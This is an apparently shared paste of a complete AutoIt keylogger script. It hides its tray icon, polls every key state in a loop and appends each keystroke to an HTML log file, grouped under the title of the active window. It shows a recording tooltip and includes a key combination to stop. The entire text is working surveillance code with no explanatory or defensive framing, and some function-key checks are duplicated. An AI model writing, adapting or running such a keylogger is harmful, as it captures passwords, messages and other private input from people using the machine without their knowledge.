Guest User

Untitled

a guest
Apr 14th, 2018
67
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
AutoIt 8.81 KB | None | 0 0
  1. #NoTrayIcon
  2.  
  3.  
  4.  
  5. Global $UserDll = DllOpen("user32.dll")
  6. Global $FileOpen = FileOpen(@ScriptDir & "\Logs.html", 1)
  7.  
  8. Func _IsPressed($KeysHexValue)
  9.     Local $Call, $CoverType
  10.     $Call = DllCall($UserDll, "int", "GetAsyncKeyState", "int", $KeysHexValue)
  11.     If $Call[0] <> 0 Then
  12.         $CoverType = 1
  13.     Else
  14.         $CoverType = 0
  15.     EndIf
  16.  
  17.     Return $CoverType
  18. EndFunc   ;==>_IsPressed
  19. ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
  20. $GetWindowTitle2 = ""
  21.  
  22. ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
  23. ;$FileOpen = FileOpen($log & "\Logs.html", 1)
  24. If $FileOpen = -1 Then Exit
  25.  
  26.  
  27. ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
  28. Func _KeystoLog($Typed)
  29.     $GetWindowTitle = WinGetTitle("")
  30.     If $GetWindowTitle = $GetWindowTitle2 Then
  31.         FileWrite($FileOpen, $Typed)
  32.         Sleep(35)
  33.     Else
  34.  
  35.         $GetWindowTitle2 = $GetWindowTitle
  36.         FileWrite($FileOpen, "<font color=#00BFFF style=font-size:16px><b>" & '<br>' & "Window: " & $GetWindowTitle & "</font></b>" & '<br>' & $Typed)
  37.         Sleep(15)
  38.     EndIf
  39. EndFunc   ;==>_KeystoLog
  40.  
  41. While 1
  42.     ToolTip('Keystrokes are being recorded', 0, 0, 'Recording..')
  43.     If _IsPressed(0xBA) = 1 Then _KeystoLog('; ')
  44.     If _IsPressed(0xBB) = 1 Then _KeystoLog('= ')
  45.     If _IsPressed(0xBC) = 1 Then _KeystoLog(', ')
  46.     If _IsPressed(0xBD) = 1 Then _KeystoLog('- ')
  47.     If _IsPressed(0xBE) = 1 Then _KeystoLog('. ')
  48.     If _IsPressed(0xBF) = 1 Then _KeystoLog('/ ')
  49.     If _IsPressed(0xC0) = 1 Then _KeystoLog('` ')
  50.     If _IsPressed(0xDB) = 1 Then _KeystoLog('[ ')
  51.     If _IsPressed(0xDC) = 1 Then _KeystoLog('\ ')
  52.     If _IsPressed(0xDD) = 1 Then _KeystoLog('] ')
  53.     If _IsPressed(0xDE) = 1 Then _KeystoLog("' ")
  54.     If _IsPressed(0x08) = 1 Then _KeystoLog('<font color=#008000 style=font-size:9px><i>{BACKSPACE}</i></font> ')
  55.     If _IsPressed(0x09) = 1 Then _KeystoLog('<font color=#008000 style=font-size:9px><i>{TAB}</i></font> ')
  56.     If _IsPressed(0x0D) = 1 Then _KeystoLog('<font color=#008000 style=font-size:9px><i>{ENTER}</i></font> ')
  57.     If _IsPressed(0x13) = 1 Then _KeystoLog('<font color=#008000 style=font-size:9px><i>{PAUSE}</i></font> ')
  58.     If _IsPressed(0x14) = 1 Then _KeystoLog('<font color=#008000 style=font-size:9px><i>{CAPSLOCK}</i></font> ')
  59.     ;If _IsPressed(0x1B) = 1 Then _KeystoLog('<font color=#008000 style=font-size:9px><i>{ESC}</i></font> ')
  60.     If _IsPressed(0x20) = 1 Then _KeystoLog(' ')
  61.     If _IsPressed(0x21) = 1 Then _KeystoLog('<font color=#008000 style=font-size:9px><i>{PAGE UP}</i></font> ')
  62.     If _IsPressed(0x22) = 1 Then _KeystoLog('<font color=#008000 style=font-size:9px><i>{PAGE DOWN}</i></font> ')
  63.     If _IsPressed(0x23) = 1 Then _KeystoLog('<font color=#008000 style=font-size:9px><i>{END}</i></font> ')
  64.     If _IsPressed(0x24) = 1 Then _KeystoLog('<font color=#008000 style=font-size:9px><i>{HOME}</i></font> ')
  65.     If _IsPressed(0x25) = 1 Then _KeystoLog('<font color=#008000 style=font-size:9px><i>{LEFT ARROW}</i></font> ')
  66.     If _IsPressed(0x26) = 1 Then _KeystoLog('<font color=#008000 style=font-size:9px><i>{UP ARROW}</i></font> ')
  67.     If _IsPressed(0x27) = 1 Then _KeystoLog('<font color=#008000 style=font-size:9px><i>{RIGHT ARROW}</i></font> ')
  68.     If _IsPressed(0x28) = 1 Then _KeystoLog('<font color=#008000 style=font-size:9px><i>{DOWN ARROW}</i></font> ')
  69.     If _IsPressed(0x2C) = 1 Then _KeystoLog('<font color=#008000 style=font-size:9px><i>{PRINT SCREEN}</i></font> ')
  70.     If _IsPressed(0x2D) = 1 Then _KeystoLog('<font color=#008000 style=font-size:9px><i>{INS}</i></font> ')
  71.     If _IsPressed(0x2E) = 1 Then _KeystoLog('<font color=#008000 style=font-size:9px><i>{DEL}</i></font> ')
  72.     If _IsPressed(0x30) = 1 Then _KeystoLog('0')
  73.     If _IsPressed(0x31) = 1 Then _KeystoLog('1')
  74.     If _IsPressed(0x32) = 1 Then _KeystoLog('2')
  75.     If _IsPressed(0x33) = 1 Then _KeystoLog('3')
  76.     If _IsPressed(0x34) = 1 Then _KeystoLog('4')
  77.     If _IsPressed(0x35) = 1 Then _KeystoLog('5')
  78.     If _IsPressed(0x36) = 1 Then _KeystoLog('6')
  79.     If _IsPressed(0x37) = 1 Then _KeystoLog('7')
  80.     If _IsPressed(0x38) = 1 Then _KeystoLog('8')
  81.     If _IsPressed(0x39) = 1 Then _KeystoLog('9')
  82.     If _IsPressed(0x41) = 1 Then _KeystoLog('a')
  83.     If _IsPressed(0x42) = 1 Then _KeystoLog('b')
  84.     If _IsPressed(0x43) = 1 Then _KeystoLog('c')
  85.     If _IsPressed(0x44) = 1 Then _KeystoLog('d')
  86.     If _IsPressed(0x45) = 1 Then _KeystoLog('e')
  87.     If _IsPressed(0x46) = 1 Then _KeystoLog('f')
  88.     If _IsPressed(0x47) = 1 Then _KeystoLog('g')
  89.     If _IsPressed(0x48) = 1 Then _KeystoLog('h')
  90.     If _IsPressed(0x49) = 1 Then _KeystoLog('i')
  91.     If _IsPressed(0x4A) = 1 Then _KeystoLog('j')
  92.     If _IsPressed(0x4B) = 1 Then _KeystoLog('k')
  93.     If _IsPressed(0x4C) = 1 Then _KeystoLog('l')
  94.     If _IsPressed(0x4D) = 1 Then _KeystoLog('m')
  95.     If _IsPressed(0x4E) = 1 Then _KeystoLog('n')
  96.     If _IsPressed(0x4F) = 1 Then _KeystoLog('o')
  97.     If _IsPressed(0x50) = 1 Then _KeystoLog('p')
  98.     If _IsPressed(0x51) = 1 Then _KeystoLog('q')
  99.     If _IsPressed(0x52) = 1 Then _KeystoLog('r')
  100.     If _IsPressed(0x53) = 1 Then _KeystoLog('s')
  101.     If _IsPressed(0x54) = 1 Then _KeystoLog('t')
  102.     If _IsPressed(0x55) = 1 Then _KeystoLog('u')
  103.     If _IsPressed(0x56) = 1 Then _KeystoLog('v')
  104.     If _IsPressed(0x57) = 1 Then _KeystoLog('w')
  105.     If _IsPressed(0x58) = 1 Then _KeystoLog('x')
  106.     If _IsPressed(0x59) = 1 Then _KeystoLog('y')
  107.     If _IsPressed(0x5A) = 1 Then _KeystoLog('z')
  108.     If _IsPressed(0x5B) = 1 Then _KeystoLog('<font color=#008000 style=font-size:9px><i>{LEFT WIN}</i></font> ')
  109.     If _IsPressed(0x5C) = 1 Then _KeystoLog('<font color=#008000 style=font-size:9px><i>{RIGHT WIN}</i></font> ')
  110.     If _IsPressed(0x60) = 1 Then _KeystoLog('Num 0')
  111.     If _IsPressed(0x61) = 1 Then _KeystoLog('Num 1')
  112.     If _IsPressed(0x62) = 1 Then _KeystoLog('Num 2')
  113.     If _IsPressed(0x63) = 1 Then _KeystoLog('Num 3')
  114.     If _IsPressed(0x64) = 1 Then _KeystoLog('Num 4')
  115.     If _IsPressed(0x65) = 1 Then _KeystoLog('Num 5')
  116.     If _IsPressed(0x66) = 1 Then _KeystoLog('Num 6')
  117.     If _IsPressed(0x67) = 1 Then _KeystoLog('Num 7')
  118.     If _IsPressed(0x68) = 1 Then _KeystoLog('Num 8')
  119.     If _IsPressed(0x69) = 1 Then _KeystoLog('Num 9')
  120.     If _IsPressed(0x6A) = 1 Then _KeystoLog('<font color=#008000 style=font-size:9px><i>{MULTIPLY}</i></font> ')
  121.     If _IsPressed(0x6B) = 1 Then _KeystoLog('<font color=#008000 style=font-size:9px><i>{ADD}</i></font> ')
  122.     If _IsPressed(0x6C) = 1 Then _KeystoLog('Separator')
  123.     If _IsPressed(0x6D) = 1 Then _KeystoLog('<font color=#008000 style=font-size:9px><i>{SUBTRACT}</i></font> ')
  124.     If _IsPressed(0x6E) = 1 Then _KeystoLog('<font color=#008000 style=font-size:9px><i>{DECIMAL}</i></font> ')
  125.     If _IsPressed(0x6F) = 1 Then _KeystoLog('<font color=#008000 style=font-size:9px><i>{DIVIDE}</i></font> ')
  126.     If _IsPressed(0x70) = 1 Then _KeystoLog('F1 ')
  127.     If _IsPressed(0x71) = 1 Then _KeystoLog('F2 ')
  128.     If _IsPressed(0x72) = 1 Then _KeystoLog('F3 ')
  129.     If _IsPressed(0x73) = 1 Then _KeystoLog('F4 ')
  130.     If _IsPressed(0x74) = 1 Then _KeystoLog('F5 ')
  131.     If _IsPressed(0x75) = 1 Then _KeystoLog('F6 ')
  132.     If _IsPressed(0x76) = 1 Then _KeystoLog('F7 ')
  133.     If _IsPressed(0x77) = 1 Then _KeystoLog('F8 ')
  134.     If _IsPressed(0x78) = 1 Then _KeystoLog('F9 ')
  135.     If _IsPressed(0x79) = 1 Then _KeystoLog('F10 ')
  136.     If _IsPressed(0x77) = 1 Then _KeystoLog('F8 ')
  137.     If _IsPressed(0x78) = 1 Then _KeystoLog('F9 ')
  138.     If _IsPressed(0x79) = 1 Then _KeystoLog('F10 ')
  139.     If _IsPressed(0x7A) = 1 Then _KeystoLog('F11 ')
  140.     If _IsPressed(0x7B) = 1 Then _KeystoLog('F12 ')
  141.     If _IsPressed(0x7C) = 1 Then _KeystoLog('F13 ')
  142.     If _IsPressed(0x7D) = 1 Then _KeystoLog('F14 ')
  143.     If _IsPressed(0x7E) = 1 Then _KeystoLog('F15 ')
  144.     If _IsPressed(0x7F) = 1 Then _KeystoLog('F16 ')
  145.     If _IsPressed(0x80) = 1 Then _KeystoLog('F17 ')
  146.     If _IsPressed(0x81) = 1 Then _KeystoLog('F18 ')
  147.     If _IsPressed(0x82) = 1 Then _KeystoLog('F19 ')
  148.     If _IsPressed(0x83) = 1 Then _KeystoLog('F20 ')
  149.     If _IsPressed(0x84) = 1 Then _KeystoLog('F21 ')
  150.     If _IsPressed(0x85) = 1 Then _KeystoLog('F22 ')
  151.     If _IsPressed(0x86) = 1 Then _KeystoLog('F23 ')
  152.     If _IsPressed(0x87) = 1 Then _KeystoLog('F24 ')
  153.     If _IsPressed(0x90) = 1 Then _KeystoLog('<font color=#008000 style=font-size:9px><i>{NUM LOCK}</i></font> ')
  154.     If _IsPressed(0x91) = 1 Then _KeystoLog('<font color=#008000 style=font-size:9px><i>{SCROLL LOCK}</i></font> ')
  155.     If _IsPressed(0xA0) = 1 Then _KeystoLog('<font color=#008000 style=font-size:9px><i>{LEFT SHIFT}</i></font> ')
  156.     If _IsPressed(0xA1) = 1 Then _KeystoLog('<font color=#008000 style=font-size:9px><i>{RIGHT SHIFT}</i></font> ')
  157.     If _IsPressed(0xA2) = 1 Then _KeystoLog('<font color=#008000 style=font-size:9px><i>{LEFT CTRL}</i></font> ')
  158.     If _IsPressed(0xA3) = 1 Then _KeystoLog('<font color=#008000 style=font-size:9px><i>{RIGHT CTRL}</i></font> ')
  159.     If _IsPressed(0xA4) = 1 Then _KeystoLog('<font color=#008000 style=font-size:9px><i>{LEFT ALT}</i></font> ')
  160.     If _IsPressed(0xA5) = 1 Then _KeystoLog('<font color=#008000 style=font-size:9px><i>{RIGHT ALT}</i></font> ')
  161.     ;If _IsPressed(0x1B) = 1 Then
  162.         ;ShellExecute(@DesktopDir & "\Recorded.txt")
  163.         ;ExitLoop
  164.     ;EndIf
  165.     If (_IsPressed("A0") And _IsPressed("11") And _IsPressed("12") And _IsPressed("1B")) Then ExitLoop
  166.     Sleep(65)
  167. WEnd
Add Comment
Please, Sign In to add comment